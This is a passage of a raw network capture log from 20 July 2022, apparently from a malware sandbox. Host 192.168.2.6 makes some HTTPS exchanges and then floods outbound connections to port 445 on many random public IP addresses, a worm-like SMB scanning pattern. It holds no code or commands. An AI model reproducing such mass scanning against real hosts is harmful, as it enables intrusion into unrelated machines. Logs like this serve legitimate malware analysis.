Jul 20, 2022 09:10:20.669152975 CEST	56377	445	192.168.2.6	126.89.87.93
Jul 20, 2022 09:10:20.733719110 CEST	443	56432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:20.733803034 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.735266924 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.735286951 CEST	443	56432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:20.806539059 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.806560993 CEST	443	56432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:20.867707968 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.867743969 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.867800951 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.867881060 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.867899895 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.867916107 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.867948055 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.867954969 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.867980957 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.867997885 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.868031025 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.868068933 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.870898962 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.870939016 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.870956898 CEST	56393	443	192.168.2.6	40.125.122.176
Jul 20, 2022 09:10:20.870965004 CEST	443	56393	40.125.122.176	192.168.2.6
Jul 20, 2022 09:10:20.883111000 CEST	445	56363	171.103.213.9	192.168.2.6
Jul 20, 2022 09:10:20.931582928 CEST	443	56432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:20.931674004 CEST	443	56432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:20.931693077 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.931730032 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.938107014 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.938148975 CEST	443	56432	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:20.938163996 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.938220024 CEST	56432	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.954406977 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.954433918 CEST	443	56434	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:20.954782009 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.954955101 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:20.954968929 CEST	443	56434	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:20.960014105 CEST	445	56377	126.89.87.93	192.168.2.6
Jul 20, 2022 09:10:20.985555887 CEST	56441	445	192.168.2.6	191.221.48.145
Jul 20, 2022 09:10:20.986103058 CEST	56442	445	192.168.2.6	176.79.103.152
Jul 20, 2022 09:10:20.986639023 CEST	56443	445	192.168.2.6	222.235.231.185
Jul 20, 2022 09:10:20.987777948 CEST	56445	445	192.168.2.6	192.122.85.163
Jul 20, 2022 09:10:20.990451097 CEST	56449	445	192.168.2.6	219.99.54.77
Jul 20, 2022 09:10:20.991364002 CEST	56450	445	192.168.2.6	150.235.180.25
Jul 20, 2022 09:10:20.993165016 CEST	56452	445	192.168.2.6	128.244.192.5
Jul 20, 2022 09:10:20.994337082 CEST	56454	445	192.168.2.6	20.25.228.173
Jul 20, 2022 09:10:20.994899988 CEST	56455	445	192.168.2.6	13.136.106.228
Jul 20, 2022 09:10:20.996931076 CEST	56459	445	192.168.2.6	23.80.182.229
Jul 20, 2022 09:10:20.998123884 CEST	56460	445	192.168.2.6	36.123.64.229
Jul 20, 2022 09:10:20.998922110 CEST	56461	445	192.168.2.6	152.183.105.74
Jul 20, 2022 09:10:21.003164053 CEST	56466	445	192.168.2.6	102.101.215.197
Jul 20, 2022 09:10:21.005281925 CEST	56469	445	192.168.2.6	138.232.154.37
Jul 20, 2022 09:10:21.006022930 CEST	56470	445	192.168.2.6	22.49.206.180
Jul 20, 2022 09:10:21.007441998 CEST	56472	445	192.168.2.6	36.87.242.250
Jul 20, 2022 09:10:21.008194923 CEST	56473	445	192.168.2.6	185.84.77.241
Jul 20, 2022 09:10:21.034379959 CEST	445	56469	138.232.154.37	192.168.2.6
Jul 20, 2022 09:10:21.047631979 CEST	445	56442	176.79.103.152	192.168.2.6
Jul 20, 2022 09:10:21.061223030 CEST	56474	445	192.168.2.6	4.241.91.182
Jul 20, 2022 09:10:21.063800097 CEST	56477	445	192.168.2.6	67.242.47.242
Jul 20, 2022 09:10:21.099267960 CEST	443	56434	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:21.100501060 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:21.115093946 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:21.115108013 CEST	443	56434	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:21.159279108 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:21.159316063 CEST	443	56434	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:21.216609001 CEST	443	56434	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:21.216697931 CEST	443	56434	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:21.216775894 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:21.216792107 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:21.218421936 CEST	56482	445	192.168.2.6	193.48.120.36
Jul 20, 2022 09:10:21.219204903 CEST	56483	445	192.168.2.6	42.228.156.4
Jul 20, 2022 09:10:21.220715046 CEST	56485	445	192.168.2.6	183.226.235.84
Jul 20, 2022 09:10:21.221491098 CEST	56486	445	192.168.2.6	104.132.66.29
Jul 20, 2022 09:10:21.224276066 CEST	56490	445	192.168.2.6	165.147.133.179
Jul 20, 2022 09:10:21.227967978 CEST	56495	445	192.168.2.6	8.2.213.156
Jul 20, 2022 09:10:21.229337931 CEST	56497	445	192.168.2.6	207.4.190.239
Jul 20, 2022 09:10:21.236413956 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:21.236464024 CEST	443	56434	20.238.103.94	192.168.2.6
Jul 20, 2022 09:10:21.236517906 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:21.236542940 CEST	56434	443	192.168.2.6	20.238.103.94
Jul 20, 2022 09:10:21.252605915 CEST	56499	445	192.168.2.6	2.151.209.10
Jul 20, 2022 09:10:21.253442049 CEST	56500	445	192.168.2.6	200.151.129.187
Jul 20, 2022 09:10:21.284790039 CEST	56506	445	192.168.2.6	217.227.29.81
Jul 20, 2022 09:10:21.285058022 CEST	56507	445	192.168.2.6	219.81.85.225
Jul 20, 2022 09:10:21.575428009 CEST	56469	445	192.168.2.6	138.232.154.37
Jul 20, 2022 09:10:21.575448036 CEST	56442	445	192.168.2.6	176.79.103.152
Jul 20, 2022 09:10:21.635713100 CEST	445	56442	176.79.103.152	192.168.2.6
Jul 20, 2022 09:10:21.742753029 CEST	55516	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:22.112463951 CEST	56525	445	192.168.2.6	59.59.164.253
Jul 20, 2022 09:10:22.113286972 CEST	56526	445	192.168.2.6	148.114.207.193
Jul 20, 2022 09:10:22.113985062 CEST	56527	445	192.168.2.6	137.176.35.189
Jul 20, 2022 09:10:22.115956068 CEST	56529	445	192.168.2.6	150.228.111.233
Jul 20, 2022 09:10:22.118854046 CEST	56533	445	192.168.2.6	72.181.160.241
Jul 20, 2022 09:10:22.119630098 CEST	56534	445	192.168.2.6	166.7.231.115
Jul 20, 2022 09:10:22.121108055 CEST	56536	445	192.168.2.6	137.9.129.236
Jul 20, 2022 09:10:22.124497890 CEST	56538	445	192.168.2.6	21.194.46.27
Jul 20, 2022 09:10:22.125293970 CEST	56539	445	192.168.2.6	104.109.56.155
Jul 20, 2022 09:10:22.128073931 CEST	56543	445	192.168.2.6	60.118.147.81
Jul 20, 2022 09:10:22.132185936 CEST	56544	445	192.168.2.6	84.137.154.128
Jul 20, 2022 09:10:22.133025885 CEST	56545	445	192.168.2.6	165.139.30.58
Jul 20, 2022 09:10:22.270777941 CEST	56549	445	192.168.2.6	150.34.198.62
Jul 20, 2022 09:10:22.271111012 CEST	56552	445	192.168.2.6	154.125.88.142
Jul 20, 2022 09:10:22.271262884 CEST	56555	445	192.168.2.6	52.143.201.200
Jul 20, 2022 09:10:22.271514893 CEST	56556	445	192.168.2.6	141.161.145.194
Jul 20, 2022 09:10:22.271836996 CEST	56557	445	192.168.2.6	187.24.221.41
Jul 20, 2022 09:10:22.273021936 CEST	56560	445	192.168.2.6	44.129.247.174
Jul 20, 2022 09:10:22.273201942 CEST	56563	445	192.168.2.6	99.94.97.193
Jul 20, 2022 09:10:22.278579950 CEST	55514	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:22.361212969 CEST	56568	445	192.168.2.6	14.106.30.84
Jul 20, 2022 09:10:22.365108013 CEST	56573	445	192.168.2.6	37.29.178.185
Jul 20, 2022 09:10:22.366487980 CEST	56575	445	192.168.2.6	210.71.49.147
Jul 20, 2022 09:10:22.373339891 CEST	56576	445	192.168.2.6	174.103.62.88
Jul 20, 2022 09:10:22.374761105 CEST	56578	445	192.168.2.6	82.73.135.92
Jul 20, 2022 09:10:22.376118898 CEST	56580	445	192.168.2.6	210.77.235.144
Jul 20, 2022 09:10:22.376851082 CEST	56581	445	192.168.2.6	219.139.168.102
Jul 20, 2022 09:10:22.377610922 CEST	56582	445	192.168.2.6	140.241.196.210
Jul 20, 2022 09:10:22.378319025 CEST	56583	445	192.168.2.6	78.51.103.30
Jul 20, 2022 09:10:22.422396898 CEST	56589	445	192.168.2.6	51.59.37.185
Jul 20, 2022 09:10:22.422636032 CEST	56591	445	192.168.2.6	200.237.192.22
Jul 20, 2022 09:10:22.606803894 CEST	55513	445	192.168.2.6	155.101.152.179
Jul 20, 2022 09:10:23.246164083 CEST	56609	445	192.168.2.6	192.93.25.60
Jul 20, 2022 09:10:23.246253967 CEST	56612	445	192.168.2.6	102.189.181.13
Jul 20, 2022 09:10:23.246257067 CEST	56611	445	192.168.2.6	144.72.94.44
Jul 20, 2022 09:10:23.246462107 CEST	56614	445	192.168.2.6	205.50.241.90
Jul 20, 2022 09:10:23.246608973 CEST	56619	445	192.168.2.6	103.48.118.100
Jul 20, 2022 09:10:23.246645927 CEST	56618	445	192.168.2.6	44.194.2.104
Jul 20, 2022 09:10:23.246747017 CEST	56620	445	192.168.2.6	197.168.202.48
Jul 20, 2022 09:10:23.257133007 CEST	56623	445	192.168.2.6	89.28.83.240
Jul 20, 2022 09:10:23.257160902 CEST	56624	445	192.168.2.6	90.105.5.41
Jul 20, 2022 09:10:23.257360935 CEST	56628	445	192.168.2.6	75.8.67.232
Jul 20, 2022 09:10:23.257438898 CEST	56629	445	192.168.2.6	95.165.247.186
Jul 20, 2022 09:10:23.281100988 CEST	56630	445	192.168.2.6	137.0.147.127
Jul 20, 2022 09:10:23.391079903 CEST	56634	445	192.168.2.6	147.169.50.175
Jul 20, 2022 09:10:23.393971920 CEST	56639	445	192.168.2.6	122.206.80.224
Jul 20, 2022 09:10:23.394830942 CEST	56640	445	192.168.2.6	90.234.108.33
Jul 20, 2022 09:10:23.395903111 CEST	56641	445	192.168.2.6	193.19.188.32
Jul 20, 2022 09:10:23.396723032 CEST	56642	445	192.168.2.6	184.91.75.12
Jul 20, 2022 09:10:23.398735046 CEST	56645	445	192.168.2.6	159.166.80.136
Jul 20, 2022 09:10:23.400327921 CEST	56648	445	192.168.2.6	79.14.23.95
Jul 20, 2022 09:10:23.484738111 CEST	56653	445	192.168.2.6	168.138.7.16
Jul 20, 2022 09:10:23.487931013 CEST	56658	445	192.168.2.6	56.4.181.201
Jul 20, 2022 09:10:23.488687038 CEST	56659	445	192.168.2.6	172.112.218.147
Jul 20, 2022 09:10:23.499732018 CEST	56662	445	192.168.2.6	93.195.114.101
Jul 20, 2022 09:10:23.500611067 CEST	56663	445	192.168.2.6	154.62.2.152
Jul 20, 2022 09:10:23.501380920 CEST	56664	445	192.168.2.6	29.176.70.70
Jul 20, 2022 09:10:23.502043962 CEST	56665	445	192.168.2.6	98.189.146.242
Jul 20, 2022 09:10:23.503443003 CEST	56667	445	192.168.2.6	11.121.77.103
Jul 20, 2022 09:10:23.504827976 CEST	56669	445	192.168.2.6	5.89.9.223
Jul 20, 2022 09:10:23.543159008 CEST	56678	445	192.168.2.6	168.200.125.85
Jul 20, 2022 09:10:23.543180943 CEST	56677	445	192.168.2.6	77.118.242.63
Jul 20, 2022 09:10:24.395319939 CEST	56693	445	192.168.2.6	151.67.3.88
Jul 20, 2022 09:10:24.395791054 CEST	56694	445	192.168.2.6	75.236.244.49
Jul 20, 2022 09:10:24.395925999 CEST	56698	445	192.168.2.6	95.32.139.166
Jul 20, 2022 09:10:24.395957947 CEST	56699	445	192.168.2.6	119.122.48.159
Jul 20, 2022 09:10:24.396056890 CEST	56702	445	192.168.2.6	124.132.57.7
Jul 20, 2022 09:10:24.396081924 CEST	56703	445	192.168.2.6	220.102.40.208
Jul 20, 2022 09:10:24.396188021 CEST	56705	445	192.168.2.6	81.18.86.193
Jul 20, 2022 09:10:24.396281958 CEST	56707	445	192.168.2.6	11.237.101.69
Jul 20, 2022 09:10:24.396387100 CEST	56710	445	192.168.2.6	90.217.17.88
Jul 20, 2022 09:10:24.396465063 CEST	56711	445	192.168.2.6	77.193.126.25
Jul 20, 2022 09:10:24.396603107 CEST	56714	445	192.168.2.6	55.47.252.81
Jul 20, 2022 09:10:24.404558897 CEST	56715	445	192.168.2.6	186.127.121.163
Jul 20, 2022 09:10:24.538194895 CEST	56720	445	192.168.2.6	54.221.57.180
Jul 20, 2022 09:10:24.538269997 CEST	56722	445	192.168.2.6	71.204.190.105
Jul 20, 2022 09:10:24.538377047 CEST	56725	445	192.168.2.6	29.97.78.208
Jul 20, 2022 09:10:24.538414001 CEST	56726	445	192.168.2.6	105.9.137.28
Jul 20, 2022 09:10:24.538499117 CEST	56727	445	192.168.2.6	27.130.104.132
Jul 20, 2022 09:10:24.538592100 CEST	56729	445	192.168.2.6	13.66.123.39
Jul 20, 2022 09:10:24.538724899 CEST	56733	445	192.168.2.6	40.235.69.22
Jul 20, 2022 09:10:24.594058990 CEST	56736	445	192.168.2.6	126.60.233.169
Jul 20, 2022 09:10:24.596445084 CEST	56737	445	192.168.2.6	149.145.26.118
Jul 20, 2022 09:10:24.601427078 CEST	56742	445	192.168.2.6	175.77.68.95
Jul 20, 2022 09:10:24.640759945 CEST	56747	445	192.168.2.6	212.146.125.213
Jul 20, 2022 09:10:24.641371965 CEST	56748	445	192.168.2.6	82.153.185.106
Jul 20, 2022 09:10:24.641936064 CEST	56749	445	192.168.2.6	99.62.191.112
Jul 20, 2022 09:10:24.642550945 CEST	56750	445	192.168.2.6	91.80.222.172
Jul 20, 2022 09:10:24.644314051 CEST	56752	445	192.168.2.6	94.9.83.112
Jul 20, 2022 09:10:24.644567013 CEST	56754	445	192.168.2.6	163.46.22.220
Jul 20, 2022 09:10:24.661851883 CEST	56763	445	192.168.2.6	66.147.173.117
Jul 20, 2022 09:10:24.662663937 CEST	56764	445	192.168.2.6	119.99.193.181
Jul 20, 2022 09:10:24.749967098 CEST	56773	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:24.778770924 CEST	55192	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:24.899282932 CEST	445	56773	155.101.152.1	192.168.2.6
Jul 20, 2022 09:10:24.899415970 CEST	56773	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:24.903825045 CEST	55189	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:25.466144085 CEST	56773	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:25.562763929 CEST	56781	445	192.168.2.6	54.166.113.124
Jul 20, 2022 09:10:25.562762976 CEST	56782	445	192.168.2.6	110.131.87.159
Jul 20, 2022 09:10:25.563007116 CEST	56786	445	192.168.2.6	217.90.28.189
Jul 20, 2022 09:10:25.563041925 CEST	56785	445	192.168.2.6	129.38.146.149
Jul 20, 2022 09:10:25.563072920 CEST	56787	445	192.168.2.6	13.143.237.243
Jul 20, 2022 09:10:25.563194990 CEST	56790	445	192.168.2.6	117.81.195.184
Jul 20, 2022 09:10:25.563386917 CEST	56793	445	192.168.2.6	41.226.4.72
Jul 20, 2022 09:10:25.563457012 CEST	56794	445	192.168.2.6	68.167.247.112
Jul 20, 2022 09:10:25.563570976 CEST	56796	445	192.168.2.6	70.103.226.235
Jul 20, 2022 09:10:25.563684940 CEST	56798	445	192.168.2.6	148.193.101.104
Jul 20, 2022 09:10:25.563832045 CEST	56801	445	192.168.2.6	106.50.240.218
Jul 20, 2022 09:10:25.563920021 CEST	56802	445	192.168.2.6	222.233.180.106
Jul 20, 2022 09:10:25.657696962 CEST	56807	445	192.168.2.6	140.87.95.220
Jul 20, 2022 09:10:25.660626888 CEST	56809	445	192.168.2.6	2.174.75.245
Jul 20, 2022 09:10:25.669128895 CEST	56811	445	192.168.2.6	39.234.48.162
Jul 20, 2022 09:10:25.669148922 CEST	56812	445	192.168.2.6	74.171.218.9
Jul 20, 2022 09:10:25.669353962 CEST	56815	445	192.168.2.6	156.116.207.26
Jul 20, 2022 09:10:25.669395924 CEST	56814	445	192.168.2.6	29.26.182.99
Jul 20, 2022 09:10:25.670753956 CEST	56821	445	192.168.2.6	85.167.116.51
Jul 20, 2022 09:10:25.702008963 CEST	56823	445	192.168.2.6	65.180.103.203
Jul 20, 2022 09:10:25.703027964 CEST	56824	445	192.168.2.6	168.43.93.225
Jul 20, 2022 09:10:25.714898109 CEST	56829	445	192.168.2.6	103.88.163.145
Jul 20, 2022 09:10:25.762243032 CEST	56835	445	192.168.2.6	195.101.38.170
Jul 20, 2022 09:10:25.762294054 CEST	56836	445	192.168.2.6	36.27.236.198
Jul 20, 2022 09:10:25.762301922 CEST	56834	445	192.168.2.6	107.97.212.182
Jul 20, 2022 09:10:25.762444973 CEST	56838	445	192.168.2.6	96.122.169.100
Jul 20, 2022 09:10:25.762476921 CEST	56839	445	192.168.2.6	197.193.95.12
Jul 20, 2022 09:10:25.762599945 CEST	56840	445	192.168.2.6	111.102.230.248
Jul 20, 2022 09:10:25.771965027 CEST	56857	445	192.168.2.6	38.91.4.72
Jul 20, 2022 09:10:25.772001982 CEST	56858	445	192.168.2.6	151.242.120.48
Jul 20, 2022 09:10:25.997694969 CEST	56773	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:26.714062929 CEST	56868	445	192.168.2.6	73.27.29.153
Jul 20, 2022 09:10:26.714150906 CEST	56870	445	192.168.2.6	189.195.64.93
Jul 20, 2022 09:10:26.714410067 CEST	56869	445	192.168.2.6	75.229.29.94
Jul 20, 2022 09:10:26.714514971 CEST	56872	445	192.168.2.6	67.145.54.116
Jul 20, 2022 09:10:26.714543104 CEST	56874	445	192.168.2.6	31.106.205.55
Jul 20, 2022 09:10:26.714967012 CEST	56876	445	192.168.2.6	155.35.83.142
Jul 20, 2022 09:10:26.715250969 CEST	56877	445	192.168.2.6	60.125.38.39
Jul 20, 2022 09:10:26.715459108 CEST	56880	445	192.168.2.6	204.160.189.223
Jul 20, 2022 09:10:26.715737104 CEST	56881	445	192.168.2.6	57.164.241.47
Jul 20, 2022 09:10:26.715987921 CEST	56883	445	192.168.2.6	169.10.203.99
Jul 20, 2022 09:10:26.717709064 CEST	56887	445	192.168.2.6	141.107.201.46
Jul 20, 2022 09:10:26.717899084 CEST	56888	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:26.753386974 CEST	445	56888	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:26.753675938 CEST	56888	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:26.753951073 CEST	56888	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:26.755646944 CEST	56891	445	192.168.2.6	185.147.213.1
Jul 20, 2022 09:10:26.789305925 CEST	445	56888	185.147.213.11	192.168.2.6
Jul 20, 2022 09:10:26.789417028 CEST	56888	445	192.168.2.6	185.147.213.11
Jul 20, 2022 09:10:26.811820030 CEST	56894	445	192.168.2.6	29.163.77.10
Jul 20, 2022 09:10:26.811975956 CEST	56895	445	192.168.2.6	151.16.2.148
Jul 20, 2022 09:10:26.812154055 CEST	56896	445	192.168.2.6	212.78.238.90
Jul 20, 2022 09:10:26.812272072 CEST	56898	445	192.168.2.6	108.25.94.201
Jul 20, 2022 09:10:26.812423944 CEST	56901	445	192.168.2.6	118.53.198.139
Jul 20, 2022 09:10:26.812577009 CEST	56904	445	192.168.2.6	139.170.143.42
Jul 20, 2022 09:10:26.812681913 CEST	56906	445	192.168.2.6	140.64.21.72
Jul 20, 2022 09:10:26.829669952 CEST	56910	445	192.168.2.6	130.228.246.226
Jul 20, 2022 09:10:26.830569029 CEST	56911	445	192.168.2.6	169.122.140.83
Jul 20, 2022 09:10:26.833446026 CEST	56915	445	192.168.2.6	19.204.125.41
Jul 20, 2022 09:10:26.875608921 CEST	56920	445	192.168.2.6	156.102.81.48
Jul 20, 2022 09:10:26.876499891 CEST	56921	445	192.168.2.6	153.82.164.215
Jul 20, 2022 09:10:26.885991096 CEST	56922	445	192.168.2.6	43.99.236.53
Jul 20, 2022 09:10:26.887440920 CEST	56924	445	192.168.2.6	26.228.247.78
Jul 20, 2022 09:10:26.890796900 CEST	56925	445	192.168.2.6	131.143.99.68
Jul 20, 2022 09:10:26.892870903 CEST	56927	445	192.168.2.6	27.47.61.124
Jul 20, 2022 09:10:26.905479908 CEST	56944	445	192.168.2.6	133.177.11.185
Jul 20, 2022 09:10:26.906320095 CEST	56946	445	192.168.2.6	6.155.108.4
Jul 20, 2022 09:10:26.962961912 CEST	56773	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:27.005912066 CEST	445	56877	60.125.38.39	192.168.2.6
Jul 20, 2022 09:10:27.575921059 CEST	56877	445	192.168.2.6	60.125.38.39
Jul 20, 2022 09:10:27.797653913 CEST	56951	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:27.836354017 CEST	56955	445	192.168.2.6	137.124.185.56
Jul 20, 2022 09:10:27.839281082 CEST	56956	445	192.168.2.6	37.154.15.148
Jul 20, 2022 09:10:27.839286089 CEST	56957	445	192.168.2.6	214.63.23.134
Jul 20, 2022 09:10:27.839373112 CEST	56958	445	192.168.2.6	202.127.0.47
Jul 20, 2022 09:10:27.839451075 CEST	56960	445	192.168.2.6	162.87.189.230
Jul 20, 2022 09:10:27.839703083 CEST	56966	445	192.168.2.6	129.94.174.228
Jul 20, 2022 09:10:27.839771032 CEST	56967	445	192.168.2.6	185.147.213.2
Jul 20, 2022 09:10:27.839874983 CEST	56970	445	192.168.2.6	142.105.44.191
Jul 20, 2022 09:10:27.839932919 CEST	56971	445	192.168.2.6	16.11.144.35
Jul 20, 2022 09:10:27.840090990 CEST	56974	445	192.168.2.6	35.103.151.152
Jul 20, 2022 09:10:27.840105057 CEST	56973	445	192.168.2.6	130.245.108.60
Jul 20, 2022 09:10:27.840287924 CEST	56975	445	192.168.2.6	85.113.128.182
Jul 20, 2022 09:10:27.869102001 CEST	445	56877	60.125.38.39	192.168.2.6
Jul 20, 2022 09:10:27.929702997 CEST	56981	445	192.168.2.6	195.62.43.163
Jul 20, 2022 09:10:27.929810047 CEST	56984	445	192.168.2.6	70.6.185.117
Jul 20, 2022 09:10:27.929841042 CEST	56983	445	192.168.2.6	92.222.195.151
Jul 20, 2022 09:10:27.930049896 CEST	56986	445	192.168.2.6	183.162.134.125
Jul 20, 2022 09:10:27.930171013 CEST	56989	445	192.168.2.6	197.147.127.222
Jul 20, 2022 09:10:27.930305958 CEST	56992	445	192.168.2.6	162.97.182.41
Jul 20, 2022 09:10:27.930540085 CEST	56994	445	192.168.2.6	126.188.222.176
Jul 20, 2022 09:10:27.939255953 CEST	56998	445	192.168.2.6	123.119.128.34
Jul 20, 2022 09:10:27.939469099 CEST	57000	445	192.168.2.6	24.45.205.40
Jul 20, 2022 09:10:27.939479113 CEST	56999	445	192.168.2.6	105.226.27.78
Jul 20, 2022 09:10:27.984071970 CEST	57008	445	192.168.2.6	103.33.36.38
Jul 20, 2022 09:10:27.984924078 CEST	57009	445	192.168.2.6	30.78.167.54
Jul 20, 2022 09:10:27.985743046 CEST	57010	445	192.168.2.6	218.236.38.229
Jul 20, 2022 09:10:27.987281084 CEST	57012	445	192.168.2.6	196.236.30.132
Jul 20, 2022 09:10:28.000405073 CEST	57016	445	192.168.2.6	10.94.228.94
Jul 20, 2022 09:10:28.001485109 CEST	57018	445	192.168.2.6	141.57.22.133
Jul 20, 2022 09:10:28.029509068 CEST	445	56951	201.187.246.5	192.168.2.6
Jul 20, 2022 09:10:28.029656887 CEST	56951	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:28.033467054 CEST	57032	445	192.168.2.6	205.52.219.170
Jul 20, 2022 09:10:28.034145117 CEST	57033	445	192.168.2.6	97.17.115.5
Jul 20, 2022 09:10:28.810503006 CEST	56951	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:28.810517073 CEST	56773	445	192.168.2.6	155.101.152.1
Jul 20, 2022 09:10:28.908938885 CEST	57039	445	192.168.2.6	185.147.213.3
Jul 20, 2022 09:10:28.960346937 CEST	57043	445	192.168.2.6	51.192.178.19
Jul 20, 2022 09:10:28.962105036 CEST	57046	445	192.168.2.6	113.129.114.20
Jul 20, 2022 09:10:28.962218046 CEST	57047	445	192.168.2.6	175.109.166.16
Jul 20, 2022 09:10:28.962218046 CEST	57048	445	192.168.2.6	184.117.179.48
Jul 20, 2022 09:10:28.962318897 CEST	57050	445	192.168.2.6	203.130.245.198
Jul 20, 2022 09:10:28.962477922 CEST	57055	445	192.168.2.6	55.32.236.91
Jul 20, 2022 09:10:28.962703943 CEST	57059	445	192.168.2.6	24.126.223.134
Jul 20, 2022 09:10:28.962745905 CEST	57061	445	192.168.2.6	68.14.56.184
Jul 20, 2022 09:10:28.962800026 CEST	57062	445	192.168.2.6	2.173.18.152
Jul 20, 2022 09:10:28.962883949 CEST	57063	445	192.168.2.6	22.20.240.215
Jul 20, 2022 09:10:28.962992907 CEST	57064	445	192.168.2.6	197.65.214.225
Jul 20, 2022 09:10:29.051311016 CEST	57069	445	192.168.2.6	139.241.107.177
Jul 20, 2022 09:10:29.051363945 CEST	57071	445	192.168.2.6	125.137.17.44
Jul 20, 2022 09:10:29.051512957 CEST	57075	445	192.168.2.6	193.101.48.54
Jul 20, 2022 09:10:29.051538944 CEST	57074	445	192.168.2.6	144.238.170.16
Jul 20, 2022 09:10:29.051692963 CEST	57079	445	192.168.2.6	121.119.147.60
Jul 20, 2022 09:10:29.051727057 CEST	57080	445	192.168.2.6	155.184.44.254
Jul 20, 2022 09:10:29.051764965 CEST	57081	445	192.168.2.6	176.139.147.222
Jul 20, 2022 09:10:29.066837072 CEST	57091	445	192.168.2.6	84.240.42.238
Jul 20, 2022 09:10:29.066899061 CEST	57092	445	192.168.2.6	145.190.112.167
Jul 20, 2022 09:10:29.067032099 CEST	57094	445	192.168.2.6	80.231.136.100
Jul 20, 2022 09:10:29.109580994 CEST	57095	445	192.168.2.6	92.181.95.198
Jul 20, 2022 09:10:29.110429049 CEST	57096	445	192.168.2.6	11.157.67.131
Jul 20, 2022 09:10:29.111179113 CEST	57097	445	192.168.2.6	19.63.208.83
Jul 20, 2022 09:10:29.112669945 CEST	57099	445	192.168.2.6	6.94.110.157
Jul 20, 2022 09:10:29.118683100 CEST	445	57091	84.240.42.238	192.168.2.6
Jul 20, 2022 09:10:29.143843889 CEST	57104	445	192.168.2.6	39.27.89.203
Jul 20, 2022 09:10:29.143851995 CEST	57103	445	192.168.2.6	207.24.67.204
Jul 20, 2022 09:10:29.159883976 CEST	57120	445	192.168.2.6	45.72.250.65
Jul 20, 2022 09:10:29.163034916 CEST	57121	445	192.168.2.6	126.145.102.75
Jul 20, 2022 09:10:29.497960091 CEST	56951	445	192.168.2.6	201.187.246.5
Jul 20, 2022 09:10:29.779300928 CEST	57091	445	192.168.2.6	84.240.42.238
Jul 20, 2022 09:10:29.829715967 CEST	445	57091	84.240.42.238	192.168.2.6
Jul 20, 2022 09:10:30.003607035 CEST	57127	445	192.168.2.6	185.147.213.4
Jul 20, 2022 09:10:30.077356100 CEST	57131	445	192.168.2.6	163.121.33.158
Jul 20, 2022 09:10:30.078105927 CEST	57132	445	192.168.2.6	163.211.83.111
Jul 20, 2022 09:10:30.078727961 CEST	57133	445	192.168.2.6	174.132.15.249
Jul 20, 2022 09:10:30.079364061 CEST	57134	445	192.168.2.6	64.204.100.29
Jul 20, 2022 09:10:30.081099987 CEST	57135	445	192.168.2.6	191.52.177.3
Jul 20, 2022 09:10:30.081953049 CEST	57136	445	192.168.2.6	115.210.226.195
